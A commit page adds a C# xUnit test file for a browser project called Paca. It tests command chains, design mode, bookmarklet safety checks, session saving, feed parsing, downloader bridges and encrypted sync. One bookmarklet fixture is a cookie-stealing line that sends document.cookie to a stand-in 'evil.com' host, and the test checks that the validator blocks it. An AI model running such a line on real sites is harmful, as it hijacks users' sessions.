feat(ads/seo/release): v1.2.0 with live Google Ads, isolated ad profile, ads.txt, and SEO/AEO/GEO optimization
This commit is contained in:
parent
a88aafa1e5
commit
0e568f1f0a
975 changed files with 130593 additions and 16783 deletions
449
tests/Paca.Tests/ModernBrowsingMilestone12Phase112Tests.cs
Normal file
449
tests/Paca.Tests/ModernBrowsingMilestone12Phase112Tests.cs
Normal file
|
|
@ -0,0 +1,449 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Threading.Tasks;
|
||||
using Paca.Browser.Automation;
|
||||
using Xunit;
|
||||
|
||||
namespace Paca.Tests;
|
||||
|
||||
public sealed class ModernBrowsingMilestone12Phase112Tests : IDisposable
|
||||
{
|
||||
private readonly string _tempDir;
|
||||
|
||||
public ModernBrowsingMilestone12Phase112Tests()
|
||||
{
|
||||
_tempDir = Path.Combine(Path.GetTempPath(), "paca_m12_test_" + Guid.NewGuid().ToString("N"));
|
||||
Directory.CreateDirectory(_tempDir);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, true);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Gate182_CommandChainEngine_ExecutesMacroChainAndHandlesErrors()
|
||||
{
|
||||
// Arrange
|
||||
var engine = new CommandChainEngine();
|
||||
var actions = new List<CommandAction>
|
||||
{
|
||||
new(CommandActionKind.MuteTab, "tab-alpha"),
|
||||
new(CommandActionKind.Screenshot, "viewport"),
|
||||
new(CommandActionKind.CloseTab, "tab-alpha")
|
||||
};
|
||||
var chain = new CommandChain("chain-quick-clean", "Quick Clean & Close", actions, StopOnError: true);
|
||||
engine.RegisterChain(chain);
|
||||
|
||||
// Act 1: Verify chain registered
|
||||
var retrieved = engine.GetChain("chain-quick-clean");
|
||||
Assert.NotNull(retrieved);
|
||||
Assert.Equal("Quick Clean & Close", retrieved.Name);
|
||||
Assert.Equal(3, retrieved.Actions.Count);
|
||||
|
||||
// Act 2: Execute successful chain with execution tracker
|
||||
var executedActions = new List<CommandActionKind>();
|
||||
var result = await engine.ExecuteChainAsync("chain-quick-clean", async action =>
|
||||
{
|
||||
executedActions.Add(action.Kind);
|
||||
await Task.Yield();
|
||||
return true;
|
||||
});
|
||||
|
||||
// Assert 2
|
||||
Assert.True(result.IsSuccess);
|
||||
Assert.Equal(3, result.ExecutedStepCount);
|
||||
Assert.Equal(3, executedActions.Count);
|
||||
Assert.Equal(CommandActionKind.MuteTab, executedActions[0]);
|
||||
Assert.Equal(CommandActionKind.Screenshot, executedActions[1]);
|
||||
Assert.Equal(CommandActionKind.CloseTab, executedActions[2]);
|
||||
Assert.Empty(result.ErrorMessage ?? string.Empty);
|
||||
|
||||
// Act 3: Error handling when action fails with StopOnError enabled
|
||||
var errorChain = new CommandChain("chain-with-failure", "Fail at step 2", new List<CommandAction>
|
||||
{
|
||||
new(CommandActionKind.DuplicateTab, "tab-1"),
|
||||
new(CommandActionKind.ExecuteScript, "throw new Error()"),
|
||||
new(CommandActionKind.ReloadTab, "tab-1")
|
||||
}, StopOnError: true);
|
||||
engine.RegisterChain(errorChain);
|
||||
|
||||
var failStepExecuted = 0;
|
||||
var failResult = await engine.ExecuteChainAsync("chain-with-failure", async action =>
|
||||
{
|
||||
failStepExecuted++;
|
||||
if (action.Kind == CommandActionKind.ExecuteScript)
|
||||
{
|
||||
await Task.Yield();
|
||||
return false; // Action failure
|
||||
}
|
||||
return true;
|
||||
});
|
||||
|
||||
Assert.False(failResult.IsSuccess);
|
||||
Assert.Equal(2, failResult.ExecutedStepCount);
|
||||
Assert.Equal(2, failStepExecuted); // Did not run 3rd action
|
||||
Assert.False(string.IsNullOrWhiteSpace(failResult.ErrorMessage));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Gate183_DesignModeCoordinator_TogglesDesignModeAndGeneratesScripts()
|
||||
{
|
||||
// Arrange
|
||||
var coordinator = new DesignModeCoordinator();
|
||||
string tabId = "tab-editor-101";
|
||||
|
||||
// Assert initial state
|
||||
Assert.False(coordinator.IsDesignModeEnabled(tabId));
|
||||
|
||||
// Act 1: Toggle ON
|
||||
var eventFired = false;
|
||||
string? eventTabId = null;
|
||||
bool? eventState = null;
|
||||
coordinator.DesignModeChanged += (t, state) =>
|
||||
{
|
||||
eventFired = true;
|
||||
eventTabId = t;
|
||||
eventState = state;
|
||||
};
|
||||
|
||||
var state1 = coordinator.ToggleDesignMode(tabId);
|
||||
|
||||
// Assert 1
|
||||
Assert.True(state1);
|
||||
Assert.True(coordinator.IsDesignModeEnabled(tabId));
|
||||
Assert.True(eventFired);
|
||||
Assert.Equal(tabId, eventTabId);
|
||||
Assert.True(eventState);
|
||||
Assert.Equal("Design Mode: ON", coordinator.GetStatusBadgeText(tabId));
|
||||
|
||||
// Act 2: Verify scripts
|
||||
Assert.Equal("document.designMode = 'on';", coordinator.GetEnableScript());
|
||||
Assert.Equal("document.designMode = 'off';", coordinator.GetDisableScript());
|
||||
Assert.Contains("document.designMode", coordinator.GetToggleScript());
|
||||
|
||||
// Act 3: Toggle OFF
|
||||
var state2 = coordinator.SetDesignMode(tabId, false);
|
||||
Assert.False(state2);
|
||||
Assert.False(coordinator.IsDesignModeEnabled(tabId));
|
||||
Assert.Equal("Design Mode: OFF", coordinator.GetStatusBadgeText(tabId));
|
||||
|
||||
// Act 4: Clean up tab
|
||||
coordinator.RemoveTab(tabId);
|
||||
Assert.False(coordinator.IsDesignModeEnabled(tabId));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Gate184_BookmarkletRunner_ValidatesSafetyAndExecutesScript()
|
||||
{
|
||||
// Arrange
|
||||
var runner = new BookmarkletRunner();
|
||||
|
||||
// Act 1: Format and extraction
|
||||
Assert.True(BookmarkletRunner.IsBookmarklet("javascript:(function(){alert('hello');})();"));
|
||||
Assert.True(BookmarkletRunner.IsBookmarklet("JAVASCRIPT:void(0);"));
|
||||
Assert.False(BookmarkletRunner.IsBookmarklet("https://example.com/search?q=javascript"));
|
||||
|
||||
var extracted = BookmarkletRunner.ExtractScript("javascript:%28function%28%29%7Balert%28%27paca%27%29%3B%7D%29%28%29%3B");
|
||||
Assert.Equal("(function(){alert('paca');})();", extracted);
|
||||
|
||||
// Act 2: Safety validation
|
||||
var safeScript = "javascript:document.body.style.backgroundColor='yellow';";
|
||||
var safeValidation = runner.Validate(safeScript);
|
||||
Assert.True(safeValidation.IsValid);
|
||||
Assert.True(safeValidation.IsSafe);
|
||||
Assert.Equal(BookmarkletRiskLevel.Safe, safeValidation.RiskLevel);
|
||||
Assert.Empty(safeValidation.SecurityWarnings);
|
||||
|
||||
var suspiciousScript = "javascript:fetch('https://malicious.evil.com/steal?c=' + document.cookie);";
|
||||
var susValidation = runner.Validate(suspiciousScript);
|
||||
Assert.True(susValidation.IsValid);
|
||||
Assert.False(susValidation.IsSafe);
|
||||
Assert.Equal(BookmarkletRiskLevel.HighRisk, susValidation.RiskLevel);
|
||||
Assert.NotEmpty(susValidation.SecurityWarnings);
|
||||
Assert.Contains(susValidation.SecurityWarnings, w => w.Contains("cookie") || w.Contains("exfiltration") || w.Contains("fetch"));
|
||||
|
||||
// Act 3: Execution with script executor delegate
|
||||
var execSafeResult = await runner.ExecuteBookmarkletAsync(safeScript, async script =>
|
||||
{
|
||||
await Task.Yield();
|
||||
return "yellow";
|
||||
});
|
||||
Assert.True(execSafeResult.Success);
|
||||
Assert.Equal("yellow", execSafeResult.Output);
|
||||
|
||||
// High-risk execution blocked by default unless explicitly allowed
|
||||
var execSusResult = await runner.ExecuteBookmarkletAsync(suspiciousScript, async script =>
|
||||
{
|
||||
await Task.Yield();
|
||||
return "stolen";
|
||||
}, allowHighRisk: false);
|
||||
Assert.False(execSusResult.Success);
|
||||
Assert.Contains("Blocked", execSusResult.ErrorMessage ?? string.Empty);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Gate185_NamedSessionManager_SavesRestoresAndExportsSessions()
|
||||
{
|
||||
// Arrange
|
||||
var storagePath = Path.Combine(_tempDir, "sessions_db.json");
|
||||
var manager = new NamedSessionManager(storagePath);
|
||||
|
||||
var tabItems = new List<TabSessionItem>
|
||||
{
|
||||
new("https://github.com/microsoft", "Microsoft GitHub", IsPinned: true, TabIndex: 0, GroupName: "Development"),
|
||||
new("https://learn.microsoft.com/dotnet", ".NET Documentation", IsPinned: false, TabIndex: 1, GroupName: "Development"),
|
||||
new("https://stackoverflow.com/questions", "StackOverflow", IsPinned: false, TabIndex: 2, GroupName: null)
|
||||
};
|
||||
|
||||
// Act 1: Save session
|
||||
var savedSession = manager.SaveSession("NetCoreWorkspace", tabItems, "Work session for .NET development");
|
||||
Assert.NotNull(savedSession);
|
||||
Assert.Equal("NetCoreWorkspace", savedSession.Name);
|
||||
Assert.Equal(3, savedSession.Tabs.Count);
|
||||
|
||||
// Act 2: Persistence check
|
||||
var reloadedManager = new NamedSessionManager(storagePath);
|
||||
var fetched = reloadedManager.GetSessionByName("NetCoreWorkspace");
|
||||
Assert.NotNull(fetched);
|
||||
Assert.Equal("Work session for .NET development", fetched.Description);
|
||||
Assert.Equal(3, fetched.Tabs.Count);
|
||||
|
||||
// Act 3: Restoration
|
||||
var restoredTabs = reloadedManager.RestoreSession("NetCoreWorkspace");
|
||||
Assert.Equal(3, restoredTabs.Count);
|
||||
Assert.True(restoredTabs[0].IsPinned);
|
||||
Assert.Equal("Development", restoredTabs[0].GroupName);
|
||||
Assert.Equal("https://github.com/microsoft", restoredTabs[0].Url);
|
||||
|
||||
// Act 4: Export and Import
|
||||
var jsonExport = reloadedManager.ExportSessionToJson("NetCoreWorkspace");
|
||||
Assert.Contains("NetCoreWorkspace", jsonExport);
|
||||
Assert.Contains("https://github.com/microsoft", jsonExport);
|
||||
|
||||
var importStorage = Path.Combine(_tempDir, "imported_sessions.json");
|
||||
var importManager = new NamedSessionManager(importStorage);
|
||||
var imported = importManager.ImportSessionFromJson(jsonExport);
|
||||
Assert.NotNull(imported);
|
||||
Assert.Equal("NetCoreWorkspace", imported.Name);
|
||||
Assert.Equal(3, imported.Tabs.Count);
|
||||
|
||||
// Act 5: Delete session
|
||||
var deleted = reloadedManager.DeleteSession("NetCoreWorkspace");
|
||||
Assert.True(deleted);
|
||||
Assert.Null(reloadedManager.GetSessionByName("NetCoreWorkspace"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Gate186_RssFeedReaderEngine_DiscoversAndParsesRssAndAtomFeeds()
|
||||
{
|
||||
// Arrange
|
||||
var engine = new RssFeedReaderEngine();
|
||||
|
||||
// Act 1: Feed Discovery from HTML
|
||||
var html = @"
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tech Portal</title>
|
||||
<link rel=""alternate"" type=""application/rss+xml"" title=""Tech RSS Feed"" href=""/feeds/rss.xml"" />
|
||||
<link rel=""alternate"" type=""application/atom+xml"" title=""Tech Atom Feed"" href=""https://techportal.io/atom.xml"" />
|
||||
</head>
|
||||
<body>
|
||||
<h1>Welcome</h1>
|
||||
</body>
|
||||
</html>";
|
||||
|
||||
var discovered = engine.DiscoverFeeds(html, baseUrl: "https://techportal.io");
|
||||
Assert.Equal(2, discovered.Count);
|
||||
Assert.Equal("Tech RSS Feed", discovered[0].Title);
|
||||
Assert.Equal("https://techportal.io/feeds/rss.xml", discovered[0].Url);
|
||||
Assert.Equal(FeedKind.Rss, discovered[0].Kind);
|
||||
|
||||
Assert.Equal("Tech Atom Feed", discovered[1].Title);
|
||||
Assert.Equal("https://techportal.io/atom.xml", discovered[1].Url);
|
||||
Assert.Equal(FeedKind.Atom, discovered[1].Kind);
|
||||
|
||||
// Act 2: Parse RSS 2.0
|
||||
var rssXml = @"<?xml version=""1.0"" encoding=""UTF-8""?>
|
||||
<rss version=""2.0"">
|
||||
<channel>
|
||||
<title>Tech Portal News</title>
|
||||
<link>https://techportal.io</link>
|
||||
<description>Daily tech news feeds</description>
|
||||
<item>
|
||||
<title>PACA Browser 2.0 Released</title>
|
||||
<link>https://techportal.io/articles/paca-2</link>
|
||||
<description>Modern multi-engine browser updates.</description>
|
||||
<pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate>
|
||||
<author>editor@techportal.io</author>
|
||||
</item>
|
||||
</channel>
|
||||
</rss>";
|
||||
|
||||
var rssChannel = engine.ParseFeed(rssXml);
|
||||
Assert.Equal("Tech Portal News", rssChannel.Title);
|
||||
Assert.Equal("https://techportal.io", rssChannel.Link);
|
||||
Assert.Single(rssChannel.Items);
|
||||
Assert.Equal("PACA Browser 2.0 Released", rssChannel.Items[0].Title);
|
||||
Assert.Equal("https://techportal.io/articles/paca-2", rssChannel.Items[0].Link);
|
||||
Assert.Contains("Modern multi-engine", rssChannel.Items[0].Summary);
|
||||
Assert.NotNull(rssChannel.Items[0].PubDate);
|
||||
|
||||
// Act 3: Parse Atom 1.0
|
||||
var atomXml = @"<?xml version=""1.0"" encoding=""utf-8""?>
|
||||
<feed xmlns=""http://www.w3.org/2005/Atom"">
|
||||
<title>Tech Atom Stream</title>
|
||||
<subtitle>Atom subtitle</subtitle>
|
||||
<link href=""https://techportal.io"" />
|
||||
<entry>
|
||||
<title>Atom Entry One</title>
|
||||
<link href=""https://techportal.io/atom/entry-1"" />
|
||||
<id>urn:uuid:60a76c80-d399-11d9-b91C-0003939e0af6</id>
|
||||
<updated>2026-09-13T07:00:00Z</updated>
|
||||
<summary>Atom summary content snippet.</summary>
|
||||
<author><name>Alice</name></author>
|
||||
</entry>
|
||||
</feed>";
|
||||
|
||||
var atomChannel = engine.ParseFeed(atomXml);
|
||||
Assert.Equal("Tech Atom Stream", atomChannel.Title);
|
||||
Assert.Single(atomChannel.Items);
|
||||
Assert.Equal("Atom Entry One", atomChannel.Items[0].Title);
|
||||
Assert.Equal("https://techportal.io/atom/entry-1", atomChannel.Items[0].Link);
|
||||
Assert.Equal("Atom summary content snippet.", atomChannel.Items[0].Summary);
|
||||
Assert.Equal("Alice", atomChannel.Items[0].Author);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Gate187_ExternalDownloaderBridge_BuildsArgsAndDispatchesTasks()
|
||||
{
|
||||
// Arrange
|
||||
var bridge = new ExternalDownloaderBridge();
|
||||
var task = new DownloadDispatchTask(
|
||||
Url: "https://example.com/downloads/bigfile.iso",
|
||||
DestinationDirectory: @"D:\Downloads",
|
||||
FileName: "bigfile.iso",
|
||||
Referer: "https://example.com/files",
|
||||
UserAgent: "PacaBrowser/2.0");
|
||||
|
||||
// Act 1: IDM CLI args
|
||||
var idmArgs = bridge.BuildCommandLineArgs(ExternalDownloaderType.Idm, task);
|
||||
Assert.Contains("/d", idmArgs);
|
||||
Assert.Contains("https://example.com/downloads/bigfile.iso", idmArgs);
|
||||
Assert.Contains(@"/p ""D:\Downloads""", idmArgs);
|
||||
Assert.Contains("/f \"bigfile.iso\"", idmArgs);
|
||||
|
||||
// Act 2: Aria2 CLI args
|
||||
var aria2Args = bridge.BuildCommandLineArgs(ExternalDownloaderType.Aria2, task);
|
||||
Assert.Contains("https://example.com/downloads/bigfile.iso", aria2Args);
|
||||
Assert.Contains(@"--dir=""D:\Downloads""", aria2Args);
|
||||
Assert.Contains(@"--out=""bigfile.iso""", aria2Args);
|
||||
Assert.Contains(@"--header=""Referer: https://example.com/files""", aria2Args);
|
||||
|
||||
// Act 3: Motrix Deeplink / CLI args
|
||||
var motrixArgs = bridge.BuildCommandLineArgs(ExternalDownloaderType.Motrix, task);
|
||||
Assert.Contains("bigfile.iso", motrixArgs);
|
||||
Assert.Contains("https://example.com/downloads/bigfile.iso", motrixArgs);
|
||||
|
||||
// Act 4: Aria2 JSON-RPC payload
|
||||
var rpcPayload = bridge.BuildAria2JsonRpcPayload(task, secretToken: "token_12345");
|
||||
Assert.Contains(@"""jsonrpc"":""2.0""", rpcPayload);
|
||||
Assert.Contains(@"""method"":""aria2.addUri""", rpcPayload);
|
||||
Assert.Contains("token:token_12345", rpcPayload);
|
||||
Assert.Contains("bigfile.iso", rpcPayload);
|
||||
|
||||
// Act 5: Dispatch execution via CLI process runner
|
||||
var config = new ExternalDownloaderConfig(ExternalDownloaderType.Aria2, @"C:\Tools\aria2c.exe");
|
||||
string? launchedExe = null;
|
||||
string? launchedArgs = null;
|
||||
|
||||
var dispatchCliResult = await bridge.DispatchViaCliAsync(config, task, (exe, args) =>
|
||||
{
|
||||
launchedExe = exe;
|
||||
launchedArgs = args;
|
||||
return Task.FromResult(true);
|
||||
});
|
||||
|
||||
Assert.True(dispatchCliResult.Success);
|
||||
Assert.Equal(@"C:\Tools\aria2c.exe", launchedExe);
|
||||
Assert.NotNull(launchedArgs);
|
||||
|
||||
// Act 6: Dispatch execution via JSON-RPC
|
||||
var rpcConfig = new ExternalDownloaderConfig(ExternalDownloaderType.Aria2, string.Empty, "http://localhost:6800/jsonrpc", "token_12345");
|
||||
string? rpcEndpoint = null;
|
||||
string? rpcBody = null;
|
||||
|
||||
var dispatchRpcResult = await bridge.DispatchViaRpcAsync(rpcConfig, task, (url, payload) =>
|
||||
{
|
||||
rpcEndpoint = url;
|
||||
rpcBody = payload;
|
||||
return Task.FromResult(@"{""jsonrpc"":""2.0"",""id"":""paca-dl-1"",""result"":""gid_999""}");
|
||||
});
|
||||
|
||||
Assert.True(dispatchRpcResult.Success);
|
||||
Assert.Equal("http://localhost:6800/jsonrpc", rpcEndpoint);
|
||||
Assert.NotNull(rpcBody);
|
||||
Assert.Equal("gid_999", dispatchRpcResult.ExternalTaskId);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Gate188_LocalP2pSyncEngine_GeneratesEncryptedPayloadsAndRestoresData()
|
||||
{
|
||||
// Arrange
|
||||
var sender = new LocalP2pSyncEngine(deviceId: "paca-desktop-x", deviceName: "Main Workstation");
|
||||
var receiver = new LocalP2pSyncEngine(deviceId: "paca-mobile-y", deviceName: "Phone Client");
|
||||
var secretPass = "StrongSyncPassphrase!2026";
|
||||
|
||||
var bookmarksJson = "{\"bookmarks\":[{\"title\":\"Paca Docs\",\"url\":\"https://paca.dev\"}]}";
|
||||
|
||||
// Act 1: Encrypt payload
|
||||
var envelope = sender.CreateEncryptedPayload(bookmarksJson, SyncDataType.Bookmarks, secretPass);
|
||||
|
||||
// Assert 1: Envelope properties
|
||||
Assert.NotNull(envelope);
|
||||
Assert.Equal("paca-desktop-x", envelope.DeviceId);
|
||||
Assert.Equal("Main Workstation", envelope.DeviceName);
|
||||
Assert.Equal(SyncDataType.Bookmarks, envelope.DataType);
|
||||
Assert.False(string.IsNullOrWhiteSpace(envelope.EncryptedData));
|
||||
Assert.False(string.IsNullOrWhiteSpace(envelope.Salt));
|
||||
Assert.False(string.IsNullOrWhiteSpace(envelope.Iv));
|
||||
Assert.False(string.IsNullOrWhiteSpace(envelope.Checksum));
|
||||
Assert.DoesNotContain("Paca Docs", envelope.EncryptedData); // Encrypted!
|
||||
|
||||
// Act 2: Decrypt with correct passphrase
|
||||
var decrypted = receiver.DecryptPayload(envelope, secretPass);
|
||||
Assert.NotNull(decrypted);
|
||||
Assert.Equal(bookmarksJson, decrypted.JsonContent);
|
||||
Assert.Equal(SyncDataType.Bookmarks, decrypted.DataType);
|
||||
Assert.Equal("paca-desktop-x", decrypted.DeviceId);
|
||||
|
||||
// Act 3: Decrypt with incorrect passphrase fails
|
||||
Assert.ThrowsAny<CryptographicException>(() =>
|
||||
{
|
||||
receiver.DecryptPayload(envelope, "WrongPassword#123");
|
||||
});
|
||||
|
||||
// Act 4: Tampered payload fails integrity check
|
||||
var tamperedEnvelope = envelope with { Checksum = Convert.ToBase64String(new byte[32]) };
|
||||
Assert.ThrowsAny<CryptographicException>(() =>
|
||||
{
|
||||
receiver.DecryptPayload(tamperedEnvelope, secretPass);
|
||||
});
|
||||
|
||||
// Act 5: Serialization roundtrip to JSON
|
||||
var envelopeJson = sender.SerializeEnvelope(envelope);
|
||||
var restoredEnvelope = receiver.DeserializeEnvelope(envelopeJson);
|
||||
Assert.NotNull(restoredEnvelope);
|
||||
Assert.Equal(envelope.DeviceId, restoredEnvelope.DeviceId);
|
||||
var roundtripDecrypted = receiver.DecryptPayload(restoredEnvelope, secretPass);
|
||||
Assert.Equal(bookmarksJson, roundtripDecrypted.JsonContent);
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue